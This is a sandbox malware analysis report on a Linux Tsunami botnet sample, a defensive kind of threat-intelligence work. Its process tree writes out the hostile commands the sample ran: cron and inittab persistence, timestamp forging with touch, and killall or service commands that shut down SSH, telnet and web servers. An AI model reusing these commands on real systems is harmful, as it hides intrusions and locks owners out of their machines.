Edit tour

Linux Analysis Report
irq1.elf

Overview

General Information

Sample name:	irq1.elf
Analysis ID:	1539463
MD5:	2aa1abc12fdf779dbe4e71ed20111bce
SHA1:	fee772fa1e9c94d9b89ffa3fa89df08c4a1fe84f
SHA256:	a1f211877e5ac29682f07d0b97d02ee936ed02f3355b68d7163b3336164d85f6
Tags:	elfuser-abuse_ch
Infos:

Detection

Tsunami

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Tsunami

Executes the "crontab" command typically for achieving persistence

Explicitly modifies time stamps using the "touch" command

Sample tries to persist itself using cron

Terminates several processes with shell command 'killall'

Tries to read the SSH 'known_hosts' file

Tries to read the SSH config file

Tries to read the SSH private key file

Uses IRC for communication with a C&C

Uses known network protocols on non-standard ports

Creates hidden files and/or directories

Creates hidden files without content (potentially used as a mutex)

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "grep" command used to find patterns in files or piped streams

Executes the "rm" command used to delete files or directories

Executes the "systemctl" command used for controlling the systemd system and service manager

Executes the "touch" command used to create files or modify time stamps

Reads the 'hosts' file potentially containing internal network hosts

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1539463
Start date and time:	2024-10-22 18:06:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	irq1.elf
Detection:	MAL
Classification:	mal100.troj.evad.linELF@0/4@2/0

Warnings

VT rate limit hit for: irq1.elf

Runtime Messages

Command:	/tmp/irq1.elf
PID:	5437
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:	cat: /etc/inittab: No such file or directory cat: /var/run/httpd.pid: No such file or directory cat: /var/run/thttpd.pid: No such file or directory

Process Tree

system is lnxubuntu20

irq1.elf (PID: 5437, Parent: 5358, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/irq1.elf

irq1.elf New Fork (PID: 5439, Parent: 5437)

sh (PID: 5439, Parent: 5437, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "touch -acmr /bin/ls /tmp/irq1.elf"

sh New Fork (PID: 5445, Parent: 5439)

touch (PID: 5445, Parent: 5439, MD5: 3859c173f5d3b37be3e531b7c84a9c68) Arguments: touch -acmr /bin/ls /tmp/irq1.elf

irq1.elf New Fork (PID: 5446, Parent: 5437)

sh (PID: 5446, Parent: 5437, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "(crontab -l | grep -v \"/tmp/irq1.elf\" | grep -v \"no cron\" | grep -v \"lesshts/run.sh\" > /var/run/.x00740882966) > /dev/null 2>&1"

sh New Fork (PID: 5451, Parent: 5446)

sh New Fork (PID: 5452, Parent: 5451)

crontab (PID: 5452, Parent: 5451, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -l

sh New Fork (PID: 5453, Parent: 5451)

grep (PID: 5453, Parent: 5451, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -v /tmp/irq1.elf

sh New Fork (PID: 5454, Parent: 5451)

grep (PID: 5454, Parent: 5451, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -v "no cron"

sh New Fork (PID: 5455, Parent: 5451)

grep (PID: 5455, Parent: 5451, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -v lesshts/run.sh

irq1.elf New Fork (PID: 5456, Parent: 5437)

sh (PID: 5456, Parent: 5437, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "echo \"* * * * * /tmp/irq1.elf > /dev/null 2>&1 &\" >> /var/run/.x00740882966"

irq1.elf New Fork (PID: 5458, Parent: 5437)

sh (PID: 5458, Parent: 5437, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "crontab /var/run/.x00740882966"

sh New Fork (PID: 5460, Parent: 5458)

crontab (PID: 5460, Parent: 5458, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab /var/run/.x00740882966

irq1.elf New Fork (PID: 5461, Parent: 5437)

sh (PID: 5461, Parent: 5437, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf /var/run/.x00740882966"

sh New Fork (PID: 5463, Parent: 5461)

rm (PID: 5463, Parent: 5461, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /var/run/.x00740882966

irq1.elf New Fork (PID: 5464, Parent: 5437)

sh (PID: 5464, Parent: 5437, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cat /etc/inittab | grep -v \"/tmp/irq1.elf\" > /etc/inittab2"

sh New Fork (PID: 5466, Parent: 5464)

cat (PID: 5466, Parent: 5464, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /etc/inittab

sh New Fork (PID: 5467, Parent: 5464)

grep (PID: 5467, Parent: 5464, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -v /tmp/irq1.elf

irq1.elf New Fork (PID: 5468, Parent: 5437)

sh (PID: 5468, Parent: 5437, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "echo \"0:2345:respawn:/tmp/irq1.elf\" >> /etc/inittab2"

irq1.elf New Fork (PID: 5470, Parent: 5437)

sh (PID: 5470, Parent: 5437, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cat /etc/inittab2 > /etc/inittab"

sh New Fork (PID: 5472, Parent: 5470)

cat (PID: 5472, Parent: 5470, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /etc/inittab2

irq1.elf New Fork (PID: 5473, Parent: 5437)

sh (PID: 5473, Parent: 5437, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf /etc/inittab2"

sh New Fork (PID: 5475, Parent: 5473)

rm (PID: 5475, Parent: 5473, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /etc/inittab2

irq1.elf New Fork (PID: 5476, Parent: 5437)

sh (PID: 5476, Parent: 5437, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "touch -acmr /bin/ls /etc/inittab"

sh New Fork (PID: 5478, Parent: 5476)

touch (PID: 5478, Parent: 5476, MD5: 3859c173f5d3b37be3e531b7c84a9c68) Arguments: touch -acmr /bin/ls /etc/inittab

irq1.elf New Fork (PID: 5479, Parent: 5437)

irq1.elf New Fork (PID: 5481, Parent: 5479)

sh (PID: 5481, Parent: 5479, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "/bin/uname -n"

sh New Fork (PID: 5483, Parent: 5481)

uname (PID: 5483, Parent: 5481, MD5: 4ac7c634c5bec95753c480e9d421dcc2) Arguments: /bin/uname -n

irq1.elf New Fork (PID: 5484, Parent: 5479)

sh (PID: 5484, Parent: 5479, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "/bin/uname -n"

sh New Fork (PID: 5486, Parent: 5484)

uname (PID: 5486, Parent: 5484, MD5: 4ac7c634c5bec95753c480e9d421dcc2) Arguments: /bin/uname -n

irq1.elf New Fork (PID: 5487, Parent: 5479)

sh (PID: 5487, Parent: 5479, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "/bin/uname -n"

sh New Fork (PID: 5489, Parent: 5487)

uname (PID: 5489, Parent: 5487, MD5: 4ac7c634c5bec95753c480e9d421dcc2) Arguments: /bin/uname -n

irq1.elf New Fork (PID: 5490, Parent: 5479)

sh (PID: 5490, Parent: 5479, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "kill -9 `cat /var/run/httpd.pid` > /dev/null 2>&1 &"

sh New Fork (PID: 5495, Parent: 5490)

sh New Fork (PID: 5498, Parent: 5495)

cat (PID: 5498, Parent: 5495, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /var/run/httpd.pid

irq1.elf New Fork (PID: 5496, Parent: 5479)

sh (PID: 5496, Parent: 5479, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "service httpd stop > /dev/null 2>&1 &"

sh New Fork (PID: 5502, Parent: 5496)

service (PID: 5502, Parent: 2935, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: service httpd stop

service New Fork (PID: 5508, Parent: 5502)

basename (PID: 5508, Parent: 5502, MD5: 3283660e59f128df18bec9b96fbd4d41) Arguments: basename /usr/sbin/service

service New Fork (PID: 5512, Parent: 5502)

basename (PID: 5512, Parent: 5502, MD5: 3283660e59f128df18bec9b96fbd4d41) Arguments: basename /usr/sbin/service

service New Fork (PID: 5516, Parent: 5502)

systemctl (PID: 5516, Parent: 5502, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-active multi-user.target

service New Fork (PID: 5525, Parent: 5502)

service New Fork (PID: 5526, Parent: 5525)

systemctl (PID: 5526, Parent: 5525, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl list-unit-files --full --type=socket

service New Fork (PID: 5527, Parent: 5525)

sed (PID: 5527, Parent: 5525, MD5: 885062561f66aa1d4af4c54b9e7cc81a) Arguments: sed -ne s/\\.socket\\s*[a-z]*\\s*$/.socket/p

systemctl (PID: 5502, Parent: 2935, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl stop httpd.service

irq1.elf New Fork (PID: 5503, Parent: 5479)

sh (PID: 5503, Parent: 5479, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "killall -9 mini_httpd > /dev/null 2>&1 &"

sh New Fork (PID: 5509, Parent: 5503)

killall (PID: 5509, Parent: 2935, MD5: cd2adedbee501869ac691b88af39cd8b) Arguments: killall -9 mini_httpd

irq1.elf New Fork (PID: 5510, Parent: 5479)

sh (PID: 5510, Parent: 5479, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "killall -9 minihttpd > /dev/null 2>&1 &"

sh New Fork (PID: 5513, Parent: 5510)

killall (PID: 5513, Parent: 2935, MD5: cd2adedbee501869ac691b88af39cd8b) Arguments: killall -9 minihttpd

irq1.elf New Fork (PID: 5514, Parent: 5479)

sh (PID: 5514, Parent: 5479, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "kill -9 `cat /var/run/thttpd.pid` > /dev/null 2>&1 &"

sh New Fork (PID: 5517, Parent: 5514)

sh New Fork (PID: 5519, Parent: 5517)

cat (PID: 5519, Parent: 5517, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /var/run/thttpd.pid

irq1.elf New Fork (PID: 5518, Parent: 5479)

sh (PID: 5518, Parent: 5479, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "nvram set httpd_enable=0 > /dev/null 2>&1"

irq1.elf New Fork (PID: 5521, Parent: 5479)

sh (PID: 5521, Parent: 5479, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "nvram set http_enable=0 > /dev/null 2>&1"

irq1.elf New Fork (PID: 5523, Parent: 5479)

sh (PID: 5523, Parent: 5479, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "killall -9 httpd > /dev/null 2>&1 &"

sh New Fork (PID: 5528, Parent: 5523)

killall (PID: 5528, Parent: 2935, MD5: cd2adedbee501869ac691b88af39cd8b) Arguments: killall -9 httpd

irq1.elf New Fork (PID: 5529, Parent: 5479)

sh (PID: 5529, Parent: 5479, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "service telnetd stop > /dev/null 2>&1 &"

sh New Fork (PID: 5531, Parent: 5529)

service (PID: 5531, Parent: 2935, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: service telnetd stop

service New Fork (PID: 5536, Parent: 5531)

basename (PID: 5536, Parent: 5531, MD5: 3283660e59f128df18bec9b96fbd4d41) Arguments: basename /usr/sbin/service

service New Fork (PID: 5539, Parent: 5531)

basename (PID: 5539, Parent: 5531, MD5: 3283660e59f128df18bec9b96fbd4d41) Arguments: basename /usr/sbin/service

service New Fork (PID: 5544, Parent: 5531)

systemctl (PID: 5544, Parent: 5531, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-active multi-user.target

service New Fork (PID: 5558, Parent: 5531)

service New Fork (PID: 5559, Parent: 5558)

systemctl (PID: 5559, Parent: 5558, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl list-unit-files --full --type=socket

service New Fork (PID: 5560, Parent: 5558)

sed (PID: 5560, Parent: 5558, MD5: 885062561f66aa1d4af4c54b9e7cc81a) Arguments: sed -ne s/\\.socket\\s*[a-z]*\\s*$/.socket/p

systemctl (PID: 5531, Parent: 2935, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl stop telnetd.service

irq1.elf New Fork (PID: 5532, Parent: 5479)

sh (PID: 5532, Parent: 5479, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "service sshd stop > /dev/null 2>&1 &"

sh New Fork (PID: 5534, Parent: 5532)

service (PID: 5534, Parent: 2935, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: service sshd stop

service New Fork (PID: 5538, Parent: 5534)

basename (PID: 5538, Parent: 5534, MD5: 3283660e59f128df18bec9b96fbd4d41) Arguments: basename /usr/sbin/service

service New Fork (PID: 5543, Parent: 5534)

basename (PID: 5543, Parent: 5534, MD5: 3283660e59f128df18bec9b96fbd4d41) Arguments: basename /usr/sbin/service

service New Fork (PID: 5548, Parent: 5534)

systemctl (PID: 5548, Parent: 5534, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-active multi-user.target

service New Fork (PID: 5561, Parent: 5534)

service New Fork (PID: 5562, Parent: 5561)

systemctl (PID: 5562, Parent: 5561, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl list-unit-files --full --type=socket

service New Fork (PID: 5563, Parent: 5561)

sed (PID: 5563, Parent: 5561, MD5: 885062561f66aa1d4af4c54b9e7cc81a) Arguments: sed -ne s/\\.socket\\s*[a-z]*\\s*$/.socket/p

systemctl (PID: 5534, Parent: 2935, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl stop sshd.service

irq1.elf New Fork (PID: 5535, Parent: 5479)

sh (PID: 5535, Parent: 5479, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "killall -9 telnetd > /dev/null 2>&1 &"

sh New Fork (PID: 5540, Parent: 5535)

killall (PID: 5540, Parent: 2935, MD5: cd2adedbee501869ac691b88af39cd8b) Arguments: killall -9 telnetd

irq1.elf New Fork (PID: 5541, Parent: 5479)

sh (PID: 5541, Parent: 5479, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "killall -9 utelnetd > /dev/null 2>&1 &"

sh New Fork (PID: 5545, Parent: 5541)

killall (PID: 5545, Parent: 2935, MD5: cd2adedbee501869ac691b88af39cd8b) Arguments: killall -9 utelnetd

irq1.elf New Fork (PID: 5546, Parent: 5479)

sh (PID: 5546, Parent: 5479, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "killall -9 dropbear > /dev/null 2>&1 &"

sh New Fork (PID: 5549, Parent: 5546)

killall (PID: 5549, Parent: 2935, MD5: cd2adedbee501869ac691b88af39cd8b) Arguments: killall -9 dropbear

irq1.elf New Fork (PID: 5550, Parent: 5479)

sh (PID: 5550, Parent: 5479, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "killall -9 sshd > /dev/null 2>&1 &"

sh New Fork (PID: 5554, Parent: 5550)

killall (PID: 5554, Parent: 2935, MD5: cd2adedbee501869ac691b88af39cd8b) Arguments: killall -9 sshd

irq1.elf New Fork (PID: 5555, Parent: 5479)

sh (PID: 5555, Parent: 5479, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "killall -9 lighttpd > /dev/null 2>&1 &"

sh New Fork (PID: 5557, Parent: 5555)

killall (PID: 5557, Parent: 2935, MD5: cd2adedbee501869ac691b88af39cd8b) Arguments: killall -9 lighttpd

irq1.elf New Fork (PID: 5686, Parent: 5479)

irq1.elf New Fork (PID: 5688, Parent: 5686)

sh (PID: 5688, Parent: 5686, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;( kill -9 `cat /var/run/dropbear.pid` `cat /var/run/sshd.pid` ; killall -9 sshd dropbear ; /etc/init.d/dropbear stop )>/dev/null 2>&1 & "

sh New Fork (PID: 5690, Parent: 5688)

sh New Fork (PID: 5691, Parent: 5690)

cat (PID: 5691, Parent: 5690, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /var/run/dropbear.pid

sh New Fork (PID: 5692, Parent: 5690)

cat (PID: 5692, Parent: 5690, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /var/run/sshd.pid

sh New Fork (PID: 5693, Parent: 5690)

killall (PID: 5693, Parent: 5690, MD5: cd2adedbee501869ac691b88af39cd8b) Arguments: killall -9 sshd dropbear

irq1.elf New Fork (PID: 5694, Parent: 5479)

irq1.elf New Fork (PID: 5696, Parent: 5694)

sh (PID: 5696, Parent: 5694, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;(service dropbear stop ; sudo service sshd stop ; sudo systemctl stop ssh )>/dev/null 2>&1 & "

sh New Fork (PID: 5698, Parent: 5696)

sh New Fork (PID: 5699, Parent: 5698)

service (PID: 5699, Parent: 5698, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: service dropbear stop

service New Fork (PID: 5700, Parent: 5699)

basename (PID: 5700, Parent: 5699, MD5: 3283660e59f128df18bec9b96fbd4d41) Arguments: basename /sbin/service

service New Fork (PID: 5701, Parent: 5699)

basename (PID: 5701, Parent: 5699, MD5: 3283660e59f128df18bec9b96fbd4d41) Arguments: basename /sbin/service

service New Fork (PID: 5702, Parent: 5699)

systemctl (PID: 5702, Parent: 5699, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-active multi-user.target

service New Fork (PID: 5703, Parent: 5699)

service New Fork (PID: 5704, Parent: 5703)

systemctl (PID: 5704, Parent: 5703, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl list-unit-files --full --type=socket

service New Fork (PID: 5705, Parent: 5703)

sed (PID: 5705, Parent: 5703, MD5: 885062561f66aa1d4af4c54b9e7cc81a) Arguments: sed -ne s/\\.socket\\s*[a-z]*\\s*$/.socket/p

systemctl (PID: 5699, Parent: 5698, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl stop dropbear.service

sh New Fork (PID: 5708, Parent: 5698)

sudo (PID: 5708, Parent: 5698, MD5: eb8c10001fe28b9c4c2e42b96347f6db) Arguments: sudo service sshd stop

sudo New Fork (PID: 5709, Parent: 5708)

service (PID: 5709, Parent: 5708, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: service sshd stop

service New Fork (PID: 5710, Parent: 5709)

basename (PID: 5710, Parent: 5709, MD5: 3283660e59f128df18bec9b96fbd4d41) Arguments: basename /usr/sbin/service

service New Fork (PID: 5711, Parent: 5709)

basename (PID: 5711, Parent: 5709, MD5: 3283660e59f128df18bec9b96fbd4d41) Arguments: basename /usr/sbin/service

service New Fork (PID: 5712, Parent: 5709)

systemctl (PID: 5712, Parent: 5709, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-active multi-user.target

service New Fork (PID: 5713, Parent: 5709)

service New Fork (PID: 5714, Parent: 5713)

systemctl (PID: 5714, Parent: 5713, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl list-unit-files --full --type=socket

service New Fork (PID: 5715, Parent: 5713)

sed (PID: 5715, Parent: 5713, MD5: 885062561f66aa1d4af4c54b9e7cc81a) Arguments: sed -ne s/\\.socket\\s*[a-z]*\\s*$/.socket/p

systemctl (PID: 5709, Parent: 5708, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl stop sshd.service

sudo (PID: 5698, Parent: 2935, MD5: eb8c10001fe28b9c4c2e42b96347f6db) Arguments: sudo systemctl stop ssh

sudo New Fork (PID: 5981, Parent: 5698)

systemctl (PID: 5981, Parent: 5698, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl stop ssh

irq1.elf New Fork (PID: 5716, Parent: 5479)

irq1.elf New Fork (PID: 5718, Parent: 5716)

irq1.elf New Fork (PID: 5720, Parent: 5716)

irq1.elf New Fork (PID: 5721, Parent: 5716)

irq1.elf New Fork (PID: 5723, Parent: 5716)

irq1.elf New Fork (PID: 5725, Parent: 5716)

irq1.elf New Fork (PID: 5727, Parent: 5716)

irq1.elf New Fork (PID: 5729, Parent: 5716)

irq1.elf New Fork (PID: 5731, Parent: 5716)

irq1.elf New Fork (PID: 5733, Parent: 5716)

irq1.elf New Fork (PID: 5735, Parent: 5716)

irq1.elf New Fork (PID: 5738, Parent: 5716)

irq1.elf New Fork (PID: 5739, Parent: 5716)

irq1.elf New Fork (PID: 5741, Parent: 5716)

irq1.elf New Fork (PID: 5744, Parent: 5716)

irq1.elf New Fork (PID: 5745, Parent: 5716)

irq1.elf New Fork (PID: 5747, Parent: 5716)

irq1.elf New Fork (PID: 5750, Parent: 5716)

irq1.elf New Fork (PID: 5751, Parent: 5716)

irq1.elf New Fork (PID: 5753, Parent: 5716)

irq1.elf New Fork (PID: 5755, Parent: 5716)

irq1.elf New Fork (PID: 5757, Parent: 5716)

irq1.elf New Fork (PID: 5759, Parent: 5716)

irq1.elf New Fork (PID: 5761, Parent: 5716)

irq1.elf New Fork (PID: 5763, Parent: 5716)

irq1.elf New Fork (PID: 5765, Parent: 5716)

irq1.elf New Fork (PID: 5767, Parent: 5716)

irq1.elf New Fork (PID: 5769, Parent: 5716)

irq1.elf New Fork (PID: 5771, Parent: 5716)

irq1.elf New Fork (PID: 5773, Parent: 5716)

irq1.elf New Fork (PID: 5776, Parent: 5716)

irq1.elf New Fork (PID: 5777, Parent: 5716)

irq1.elf New Fork (PID: 5779, Parent: 5716)

irq1.elf New Fork (PID: 5781, Parent: 5716)

irq1.elf New Fork (PID: 5784, Parent: 5716)

irq1.elf New Fork (PID: 5785, Parent: 5716)

irq1.elf New Fork (PID: 5788, Parent: 5716)

irq1.elf New Fork (PID: 5789, Parent: 5716)

irq1.elf New Fork (PID: 5791, Parent: 5716)

irq1.elf New Fork (PID: 5793, Parent: 5716)

irq1.elf New Fork (PID: 5796, Parent: 5716)

irq1.elf New Fork (PID: 5797, Parent: 5716)

irq1.elf New Fork (PID: 5799, Parent: 5716)

irq1.elf New Fork (PID: 5801, Parent: 5716)

irq1.elf New Fork (PID: 5803, Parent: 5716)

irq1.elf New Fork (PID: 5805, Parent: 5716)

irq1.elf New Fork (PID: 5807, Parent: 5716)

irq1.elf New Fork (PID: 5810, Parent: 5716)

irq1.elf New Fork (PID: 5811, Parent: 5716)

irq1.elf New Fork (PID: 5813, Parent: 5716)

irq1.elf New Fork (PID: 5815, Parent: 5716)

irq1.elf New Fork (PID: 5818, Parent: 5716)

irq1.elf New Fork (PID: 5819, Parent: 5716)

irq1.elf New Fork (PID: 5822, Parent: 5716)

irq1.elf New Fork (PID: 5823, Parent: 5716)

irq1.elf New Fork (PID: 5825, Parent: 5716)

irq1.elf New Fork (PID: 5827, Parent: 5716)

irq1.elf New Fork (PID: 5829, Parent: 5716)

irq1.elf New Fork (PID: 5831, Parent: 5716)

irq1.elf New Fork (PID: 5834, Parent: 5716)

irq1.elf New Fork (PID: 5836, Parent: 5716)

irq1.elf New Fork (PID: 5837, Parent: 5716)

irq1.elf New Fork (PID: 5839, Parent: 5716)

irq1.elf New Fork (PID: 5841, Parent: 5716)

irq1.elf New Fork (PID: 5843, Parent: 5716)

irq1.elf New Fork (PID: 5846, Parent: 5716)

irq1.elf New Fork (PID: 5847, Parent: 5716)

irq1.elf New Fork (PID: 5849, Parent: 5716)

irq1.elf New Fork (PID: 5851, Parent: 5716)

irq1.elf New Fork (PID: 5854, Parent: 5716)

irq1.elf New Fork (PID: 5855, Parent: 5716)

irq1.elf New Fork (PID: 5857, Parent: 5716)

irq1.elf New Fork (PID: 5859, Parent: 5716)

irq1.elf New Fork (PID: 5861, Parent: 5716)

irq1.elf New Fork (PID: 5864, Parent: 5716)

irq1.elf New Fork (PID: 5866, Parent: 5716)

irq1.elf New Fork (PID: 5870, Parent: 5716)

irq1.elf New Fork (PID: 5873, Parent: 5716)

irq1.elf New Fork (PID: 5875, Parent: 5716)

irq1.elf New Fork (PID: 5877, Parent: 5716)

irq1.elf New Fork (PID: 5879, Parent: 5716)

irq1.elf New Fork (PID: 5881, Parent: 5716)

irq1.elf New Fork (PID: 5885, Parent: 5716)

irq1.elf New Fork (PID: 5886, Parent: 5716)

irq1.elf New Fork (PID: 5889, Parent: 5716)

irq1.elf New Fork (PID: 5891, Parent: 5716)

irq1.elf New Fork (PID: 5893, Parent: 5716)

irq1.elf New Fork (PID: 5895, Parent: 5716)

irq1.elf New Fork (PID: 5897, Parent: 5716)

irq1.elf New Fork (PID: 5898, Parent: 5716)

irq1.elf New Fork (PID: 5900, Parent: 5716)

irq1.elf New Fork (PID: 5902, Parent: 5716)

irq1.elf New Fork (PID: 5904, Parent: 5716)

irq1.elf New Fork (PID: 5906, Parent: 5716)

irq1.elf New Fork (PID: 5909, Parent: 5716)

irq1.elf New Fork (PID: 5910, Parent: 5716)

irq1.elf New Fork (PID: 5913, Parent: 5716)

irq1.elf New Fork (PID: 5915, Parent: 5716)

irq1.elf New Fork (PID: 5916, Parent: 5716)

irq1.elf New Fork (PID: 5919, Parent: 5716)

irq1.elf New Fork (PID: 5920, Parent: 5716)

irq1.elf New Fork (PID: 5922, Parent: 5716)

irq1.elf New Fork (PID: 5924, Parent: 5716)

irq1.elf New Fork (PID: 5926, Parent: 5716)

irq1.elf New Fork (PID: 5929, Parent: 5716)

irq1.elf New Fork (PID: 5930, Parent: 5716)

irq1.elf New Fork (PID: 5932, Parent: 5716)

irq1.elf New Fork (PID: 5935, Parent: 5716)

irq1.elf New Fork (PID: 5936, Parent: 5716)

irq1.elf New Fork (PID: 5939, Parent: 5716)

irq1.elf New Fork (PID: 5940, Parent: 5716)

irq1.elf New Fork (PID: 5942, Parent: 5716)

irq1.elf New Fork (PID: 5943, Parent: 5716)

irq1.elf New Fork (PID: 5945, Parent: 5716)

irq1.elf New Fork (PID: 5947, Parent: 5716)

irq1.elf New Fork (PID: 5950, Parent: 5716)

irq1.elf New Fork (PID: 5952, Parent: 5716)

irq1.elf New Fork (PID: 5953, Parent: 5716)

irq1.elf New Fork (PID: 5957, Parent: 5716)

irq1.elf New Fork (PID: 5958, Parent: 5716)

irq1.elf New Fork (PID: 5961, Parent: 5716)

irq1.elf New Fork (PID: 5963, Parent: 5716)

irq1.elf New Fork (PID: 5964, Parent: 5716)

irq1.elf New Fork (PID: 5967, Parent: 5716)

irq1.elf New Fork (PID: 5968, Parent: 5716)

irq1.elf New Fork (PID: 5970, Parent: 5716)

irq1.elf New Fork (PID: 5973, Parent: 5716)

irq1.elf New Fork (PID: 5976, Parent: 5716)

irq1.elf New Fork (PID: 5979, Parent: 5716)

irq1.elf New Fork (PID: 5994, Parent: 5716)

irq1.elf New Fork (PID: 6073, Parent: 5716)

irq1.elf New Fork (PID: 6075, Parent: 5716)

irq1.elf New Fork (PID: 6077, Parent: 5716)

irq1.elf New Fork (PID: 6079, Parent: 5716)

irq1.elf New Fork (PID: 6081, Parent: 5716)

irq1.elf New Fork (PID: 6082, Parent: 5716)

irq1.elf New Fork (PID: 6097, Parent: 5716)

irq1.elf New Fork (PID: 6132, Parent: 5716)

irq1.elf New Fork (PID: 6134, Parent: 5716)

irq1.elf New Fork (PID: 6135, Parent: 5716)

irq1.elf New Fork (PID: 6138, Parent: 5716)

irq1.elf New Fork (PID: 6141, Parent: 5716)

irq1.elf New Fork (PID: 6145, Parent: 5716)

irq1.elf New Fork (PID: 6148, Parent: 5716)

irq1.elf New Fork (PID: 6149, Parent: 5716)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Tsunami		No Attribution	http://get.cyberx-labs.com/radiation-report http://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/ https://asec.ahnlab.com/en/54647/ https://blog.aquasec.com/8220-gang-confluence-vulnerability-cve-2022-26134 https://blog.aquasec.com/fileless-malware-container-security	https://malpedia.caad.fkie.fraunhofer.de/details/elf.tsunami

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
5686.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
